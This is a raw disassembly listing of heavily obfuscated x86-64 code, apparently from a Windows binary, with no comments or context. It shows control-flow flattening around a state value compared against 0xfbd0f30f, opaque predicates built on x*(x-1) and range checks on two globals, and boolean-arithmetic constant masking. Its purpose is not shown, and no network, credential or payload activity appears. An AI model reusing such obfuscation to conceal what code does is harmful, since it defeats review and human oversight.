and ebp, 0x4b49f2c0
or ebp, esi
or edx, edi
and edi, 0xb4b60d3e
and ebx, 0x4b49f2c1
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
not edx
and ecx, 0x452d1e48
and eax, 0xbad2e1b7
or eax, ecx
xor eax, 0xbad2e1b7
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x95cd5c15
and eax, 0x6a32a3ea
or eax, ecx
xor eax, 0x6a32a3ea
setne r11b
sete r10b
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl al
mov edx, eax
xor dl, r9b
and dl, al
mov ecx, r10d
xor cl, dl
mov ebx, ecx
and bl, r10b
and cl, dl
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
or al, r10b
xor al, 1
xor r11b, r9b
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, r11d
mov r8d, edx
and r8b, cl
xor cl, dl
mov r9d, r11d
mov r10d, edx
and r10b, r11b
xor dl, r11b
xor r11b, 1
and al, r11b
or cl, r8b
xor r9b, al
xor al, 1
or al, r11b
xor al, 1
or al, r9b
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
or dl, r10b
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xbda4476a
mov ecx, 0xc9689d27
cmovne ebp, ecx
test dl, 1
mov ecx, 0xbda4476a
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ecx
xor edx, 0x6ab2c0ff
and edx, ecx
and ebp, 0x6ab2c0ff
mov ebx, edx
and ebx, ebp
xor ebp, edx
or ebp, ebx
mov edx, ebp
not edx
and edx, 0x6ab2c0fe
and ebp, 0x954d3f01
or ebp, edx
mov edx, ecx
and edx, 1
xor ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3a390f55
and ecx, 0xc5c6f0aa
or ecx, edx
mov ebx, ecx
xor ebx, 0x81c21088
xor ecx, 0x3a390f55
mov edx, ebp
not edx
mov edi, edx
and edi, 0x4e14ea76
and ebp, 0xb1eb1589
or ebp, edi
or edx, ecx
and ecx, 0x4e14ea76
and ebx, 0xb1eb1589
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xf4613cd5
and edx, 0xb9ec32a
or edx, ecx
mov ecx, edx
xor ecx, 0x2168302
xor edx, 0x10410015
and edx, 0x19c9403d
and ecx, 0xe636bfc2
or ecx, edx
xor ecx, 0x19c9403d
sete r9b
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov eax, r10d
xor al, cl
and al, r10b
mov ebx, eax
not bl
and bl, al
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
xor bl, r8b
mov r8d, ebx
xor r8b, 1
xor r10b, r9b
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov r9d, r8d
and r9b, bl
and dl, cl
mov eax, r9d
xor al, 1
xor r9b, r8b
or al, bl
xor al, 1
or al, r9b
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf414307c
mov ebp, 0xd137c938
cmovne eax, ebp
test cl, 1
mov ecx, 0xf414307c
cmovne ecx, eax
test dl, 1
jmp 0x1400bc0e6
mov ecx, 0xeb107f91
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov ecx, esi
or ecx, 0x18a7be25
mov edi, ecx
not edi
mov edx, ebx
or edx, 0xe75841da
mov ebp, edx
not ebp
and ecx, 0xde955b97
and edi, 0x21480048
or edi, ecx
and edx, 0xde955b97
and ebp, 0x22a420
or ebp, edx
xor ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xd822d77f
and ebp, 0x27dd2880
or ebp, ecx
mov ecx, ebp
xor ecx, 0xc085695b
xor ebp, 0x3f7a96a4
and ebx, ebp
and ecx, esi
or ecx, ebx
xor ebp, ecx
test ebp, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
xor dl, r9b
mov ecx, edx
xor cl, al
and cl, dl
and bl, r8b
and al, r9b
or al, bl
mov edx, ecx
not dl
mov ebx, eax
not bl
and bl, cl
and dl, al
or dl, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, dl
test al, al
mov ecx, 0xa9d16cab
mov eax, 0x710783c6
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, 1
mov eax, 0xa9d16cab
jmp 0x1400bc0e6
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov ecx, ebp
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov edi, ecx
and edi, 0x92e42747
and ebx, 0x6d1bd8b8
or ebx, edi
or ecx, ebp
and ebp, 0x92e42747
and edx, 0x6d1bd8b8
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3b3e5b10
and ecx, 0xc4c1a4ef
or ecx, edx
xor ecx, 0xc4c1a4ef
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor bl, r8b
xor bl, 1
or al, dl
xor al, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, ebx
or dl, al
xor al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x7ff66052
mov ecx, 0xe9a4b0c2
cmovne ebp, ecx
test al, 1
mov ecx, ebp
mov eax, 0x7ff66052
cmovne ecx, eax
test dl, 1
jmp 0x1400bb63b
mov ecx, 0x9f885ea9
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0x5efac84a
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0x7143737c
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov dil, byte [rsp + 0x2e]
mov cl, byte [rsp + 0x2f]
mov r8d, edi
xor r8b, 1
mov edx, ecx
xor dl, 1
mov ebp, edx
and bpl, cl
mov eax, edx
and al, bpl
xor bpl, dl
or bpl, al
mov eax, ebp
xor al, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov r11d, r8d
and r11b, dil
mov r10d, r11d
xor r11b, r8b
mov ebx, ebp
and bl, al
and cl, dl
xor cl, 1
mov r12d, ecx
xor r12b, dl
or cl, dl
mov r15d, eax
and r15b, dl
xor dl, al
mov r9d, r8d
xor r9b, al
and r9b, r8b
and al, r8b
or r8b, dil
mov r13d, r8d
xor r13b, 1
mov r14d, r13d
and r14b, r8b
xor r10b, 1
or r10b, dil
xor r10b, 1
or r10b, r11b
mov r11d, r14d
and r11b, r13b
xor r14b, r13b
mov r13d, 0xd58bbeb6
or r14b, r11b
mov r11d, r10d
xor r11b, 1
and r11b, r14b
xor r14b, 1
and r14b, r10b
or r14b, r11b
mov r10d, edi
and r10b, r8b
xor r8b, dil
or r8b, r10b
xor r14b, 1
mov r10d, r14d
xor r10b, r8b
or r14b, r8b
xor r14b, 1
or r14b, r10b
mov r8d, ebx
and r8b, bpl
xor bl, bpl
or bl, r8b
xor cl, 1
or cl, r12b
mov r12d, 0x75df3b42
xor cl, bl
or dl, r15b
mov r15d, 0xb1b866c6
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, r14d
xor bl, 1
mov ecx, ebx
and cl, r14b
xor bl, cl
xor cl, 1
or cl, r14b
mov r14d, 0xd06d9e1e
xor cl, 1
or cl, bl
xor cl, dl
mov edx, ecx
xor dl, 1
and bpl, dil
or al, bpl
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
mov r8d, eax
xor r8b, 1
and dl, cl
mov r10d, r8d
and r10b, al
xor dl, 1
mov r9d, edx
xor r9b, cl
or dl, cl
xor dl, 1
or dl, r9b
mov ebx, r10d
xor bl, 1
xor r10b, r8b
or bl, al
xor bl, 1
or bl, r10b
xor bl, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x58851e69
mov ecx, 0x9c8de0fb
cmovne edx, ecx
test al, 1
mov ecx, 0x58851e69
cmovne ecx, edx
test bl, 1
jmp 0x1400bc301
mov ecx, 0x10182a4a
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0x8be9b3ed
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x1f15c421
and ecx, edx
not edx
and edx, 0x1f15c421
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe0ea3bde
and ecx, 0x1f15c421
or ecx, edx
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0xde1d349b
mov edx, ecx
xor edx, 0xde1d349b
and edx, ecx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x21e2cb65
and edx, 0xde1d349a
or edx, ebp
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xf1cbcac2
and ecx, 0xe34353d
or ecx, ebp
xor ecx, 0xe34353d
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x189c0e9c
and edx, 0xe763f163
or edx, ecx
mov ecx, edx
xor ecx, 0x1000041c
xor edx, 0xc400e121
and edx, 0xcc9ceba1
and ecx, 0x3363145e
or ecx, edx
mov edx, ecx
xor edx, 0x21621058
xor ecx, 0xc8002b81
and ecx, 0xda012f87
and edx, 0x25fed078
or edx, ecx
xor edx, 0x25fed078
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and al, dl
or dl, bl
and bl, cl
or bl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xde7fcdb5
mov ecx, 0x94824298
cmovne eax, ecx
test bl, 1
mov ecx, eax
mov ebp, 0xde7fcdb5
cmovne ecx, ebp
test dl, 1
cmovne ecx, eax
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xb277d6c7
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov rax, qword [rsp + 0x30]
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, eax
and edx, 0x612afa50
and eax, 0x9ed505af
or eax, edx
xor eax, 0x9ed505ae
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0xf7dc143
and eax, 0xf0823ebc
or eax, edx
mov edx, eax
xor edx, 0x90001438
xor eax, 0x1480100
and eax, 0x61ca2b84
and edx, 0x9e35d47b
or edx, eax
mov eax, edx
xor eax, 0x21802884
xor edx, 0x9e35d47b
mov ebp, edx
and ebp, 0x407a1302
and eax, 0xbf85ecfd
or eax, ebp
xor eax, 0xbf85ecfd
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne r8b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl bl
mov ecx, ebx
xor cl, al
and cl, bl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov r10d, ecx
xor r10b, bl
or bl, cl
xor bl, 1
or bl, r10b
or dl, cl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
xor dl, r8b
xor r9b, al
and r9b, al
xor al, r8b
xor r9b, 1
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xd1147af0
mov edx, 0x908e48b6
cmovne ecx, edx
test al, 1
mov eax, ecx
cmovne eax, edx
test bl, 1
jmp 0x1400adbf2
mov ecx, 0x3d03aa45
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x82886a4
mov ebp, ecx
and ebp, 0x51505852
or ebp, edx
xor ebp, 0x51505852
and ecx, 0xa6872109
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xf9f31044
and ecx, 0x60cefbb
or ecx, edx
mov ebx, ecx
xor ebx, 0x46540000
mov esi, ecx
xor esi, 0xa08bceb2
or ebx, 0xb92bff6d
mov edi, ebx
not edi
mov edx, esi
or edx, 0x46d40092
mov ebp, edx
not ebp
and ebx, 0x947ea8e9
and edi, 0x42800012
or edi, ebx
and edx, 0x947ea8e9
and ebp, 0x29015704
or ebp, edx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0xa662d29b
and ebp, 0x599d2d64
or ebp, edx
xor ebp, 0x1f492df7
and esi, 1
xor ecx, 0xa08bceb3
or ecx, esi
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7e2f7d67
and ecx, 0x81d08298
or ecx, edx
mov edx, ecx
xor edx, 0x800098
xor ecx, 0x662f1460
and ecx, 0xe77f9660
and edx, 0x1880699f
or edx, ecx
mov ecx, edx
xor ecx, 0x3601640
xor edx, 0x80019c
and edx, 0xe49f81bc
and ecx, 0x1b607e43
or ecx, edx
mov edx, ecx
xor edx, 0x11404841
xor ecx, 0xc4808018
and ecx, 0xcea0b61a
and edx, 0x315f49e5
or edx, ecx
xor edx, 0xcea0b61a
cmp edx, 0xffffffff
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
xor cl, dl
mov eax, ebx
and al, cl
xor cl, 1
mov edx, ebx
xor dl, 1
and dl, cl
or dl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xeba496
mov ebp, 0xc9d49a0d
cmovne eax, ebp
test cl, 1
mov ecx, 0xeba496
cmovne ecx, eax
test dl, dl
cmove ecx, eax
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1a8f9187
and ebp, 0xe5706e78
or ebp, edi
or ecx, ebx
and ebx, 0x1a8f9187
and edx, 0xe5706e78
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xd57b050d
and ecx, 0x2a84faf2
or ecx, edx
xor ecx, 0x2a84faf3
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa56c07e8
and edx, ecx
and ecx, 0x5a93f817
or ecx, ebp
xor ecx, 0x5a93f817
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x2b11105
and edx, 0xfd4eeefa
or edx, ecx
xor edx, 0x2b11105
cmp edx, 0xffffffff
setne r9b
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov edx, r8d
or dl, cl
mov eax, ebx
or al, r9b
mov r10d, eax
xor r10b, dl
or al, dl
xor al, 1
or al, r10b
and r9b, bl
or bl, r8b
and cl, r8b
or cl, r9b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, edx
and dl, cl
xor cl, 1
xor bl, 1
and bl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x9b59af15
mov ebp, 0x2ef0385
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x9b59af15
jmp 0x1400bc0e6
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xa3801416
mov eax, ecx
and eax, 0x18328808
or eax, edx
xor eax, 0x18328808
mov edx, ecx
xor edx, 0xbbb29c1e
and edx, ecx
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov eax, edx
not eax
and eax, 0x5a241c2
and edx, 0xfa5dbe3d
or edx, eax
mov eax, edx
xor eax, 0x41ef2222
xor edx, 0xbe10dddd
and ebp, edx
and eax, ecx
or eax, ebp
xor edx, eax
test edx, eax
setne al
cmp dword [0x14024b72c], 9
setg r8b
mov edx, r8d
and dl, al
xor r8b, al
or dl, r8b
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov eax, ebx
xor al, 1
xor bl, cl
or al, dl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and cl, r8b
xor r8b, 1
and al, r8b
or al, cl
mov ecx, edx
and cl, r8b
xor r8b, dl
or r8b, cl
mov ecx, r8d
xor cl, al
mov edx, 0xf9783b59
mov ecx, 0xfc9d207e
cmovne edx, ecx
test r8b, r8b
mov ecx, 0xf9783b59
cmovne ecx, edx
test al, al
cmove ecx, edx
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0x53df688f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2b1aebdc
and edx, 0xd4e51423
or edx, ecx
mov ecx, edx
xor ecx, 0xc4010420
xor edx, 0x818e108
and edx, 0x18fcf10b
and ecx, 0xe7030ef4
or ecx, edx
mov ebp, ecx
xor ebp, 0x18fcf10b
mov edx, ecx
xor edx, 0x18fcf10a
and edx, ebp
xor ecx, 0xe40004e0
and ecx, 0xf4d465e0
and ebp, 0xb2b9a1f
or ebp, ecx
mov ebx, ebp
xor ebx, 0xa23880e
mov ecx, edx
not ecx
xor ebp, 0xf4d465e1
mov edi, ecx
and edi, 0xf1983611
and edx, 0xe67c9ee
or edx, edi
or ecx, ebp
and ebp, 0xf1983611
and ebx, 0xe67c9ee
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0x891a07f2
and edx, 0x76e5f80d
or edx, ebp
xor edx, 0x891a07f2
xor ecx, edx
test ecx, edx
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
or al, cl
xor al, 1
and bl, dl
or bl, r8b
xor bl, al
mov ecx, ebx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov edx, 0xf2edd1be
mov ecx, 0xa300cc2d
cmovne edx, ecx
test bl, bl
mov ecx, edx
mov ebp, 0xf2edd1be
cmovne ecx, ebp
jmp 0x1400bc2ff
mov ecx, 0x229f8973
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x218d5f84
and ecx, 0xde72a07b
or ecx, edx
xor ecx, 0xde72a07b
and ebx, 0xcaa98303
and ebp, 0x35567cfc
or ebp, ebx
xor ebp, 0x35567cfc
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
cmp ebp, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov ebx, r10d
or bl, cl
xor bl, 1
mov edx, r10d
xor dl, cl
mov esi, edx
not sil
and sil, cl
mov r11d, ebx
and r11b, sil
xor sil, bl
or sil, r11b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, esi
xor cl, 1
and cl, dl
xor dl, 1
mov eax, esi
xor al, dl
and al, sil
and dl, sil
or dl, cl
mov ebx, eax
xor bl, dl
test dl, 1
mov ecx, 0xc9d49a0d
mov edx, 0xbbbdf97a
cmovne ecx, edx
test al, al
mov eax, 0xc9d49a0d
cmove ecx, eax
test bl, 1
cmovne ecx, edx
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov r8, qword [rsp + 0x30]
mov edx, dword [0x14024b730]
mov r9d, dword [0x14024b72c]
lea edi, [rdx - 1]
imul edi, edx
mov edx, edi
not edx
mov ebx, edi
xor ebx, 0x3f02a1c8
and ebx, edi
mov ebp, edi
or ebp, 0xc0fd5e37
mov esi, ebp
and esi, 0x1b488e09
mov eax, edx
and eax, 0x240221c0
or eax, esi
mov esi, ebx
not esi
or ebp, esi
and esi, 0x1b488e09
and ebx, 0xe4b771f6
or ebx, esi
xor ebx, eax
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0x2f2961e4
and ebp, 0xd0d69e1b
or ebp, eax
mov eax, ebp
xor eax, 0xe6c402c2
xor ebp, 0x102bc02d
mov ebx, ebp
and ebx, 0x93a3d39
and eax, 0xf6c5c2c6
or eax, ebx
and edi, 0x93a3d39
and edx, 0xf6c5c2c6
or edx, edi
xor edx, eax
not edx
or edx, ebp
cmp edx, 0xffffffff
setne r10b
sete dl
cmp r9d, 9
setg bl
cmp r9d, 0xa
setl al
mov ecx, ebx
xor cl, dl
and cl, bl
and r10b, al
xor al, dl
and bl, dl
or bl, r10b
mov edx, ecx
xor dl, 1
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
xor bl, al
and al, bl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x63fbdea5
mov ecx, 0x1089f1a0
cmovne edx, ecx
test bl, 1
mov ecx, 0x63fbdea5
cmovne ecx, edx
mov qword [rsp + 0x38], r8
jmp 0x1400bc2ff
mov rax, qword [rsp + 0x38]
mov qword [0x14024b058], rax
mov ecx, 0xdd767e19
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xeba496
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x2314a402
mov edx, ebx
and edx, 0x8cc20081
or edx, ebp
mov ebp, edx
xor ebp, 0x88820080
xor edx, 0x733dff7e
mov ecx, ebx
xor ecx, 0xafd6a483
and ecx, ebx
mov esi, ecx
not esi
mov eax, edx
and eax, 0x75494e55
and ebp, 0x8a96a082
or ebp, eax
or edx, esi
and esi, 0x75494e55
and ecx, 0x8ab6b1aa
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x50295b7d
and edx, 0xafd6a482
or edx, eax
and edi, 0xe30ebb1d
and ebx, 0x1cf144e2
or ebx, edi
mov eax, ebx
xor eax, 0x1cc04080
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xa3392672
and edx, 0x5cc6d98d
or edx, ecx
xor ebx, 0xa3082210
and ebx, 0xa3392672
and eax, 0x5cc6d98d
or eax, ebx
xor eax, edx
not eax
or eax, ebp
cmp eax, 0xffffffff
setne r9b
sete r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
xor al, r10b
mov ecx, eax
xor cl, bl
and cl, al
or dl, r9b
xor dl, 1
or bl, r10b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
or bl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0xd1147af0
mov ebp, 0x224679da
cmovne ecx, ebp
test dl, dl
mov edx, 0xd1147af0
cmove ecx, edx
test al, 1
jmp 0x1400bb63b
mov ecx, 0x71a614cb
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x14122220
mov ecx, ebp
and ecx, 0xac05114
or ecx, edx
xor ecx, 0xac05114
mov edx, ebp
xor edx, 0x1ed27334
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x71a8784e
and edx, 0x8e5787b1
or edx, ecx
mov ecx, edx
xor ecx, 0x9085f484
xor edx, 0x6f7a0b7b
and ebx, edx
and ecx, ebp
or ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, ecx
and bl, al
and dl, r8b
or dl, bl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
xor cl, al
mov r10d, ecx
xor r10b, 1
mov ebx, edx
and bl, r8b
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
mov eax, ebx
xor al, 1
and al, r10b
and bl, cl
or bl, al
xor r10b, dl
or cl, r8b
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x53df688f
mov edx, 0xb429f3eb
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, 1
mov eax, 0x53df688f
jmp 0x1400bc0e6
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14019f730
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret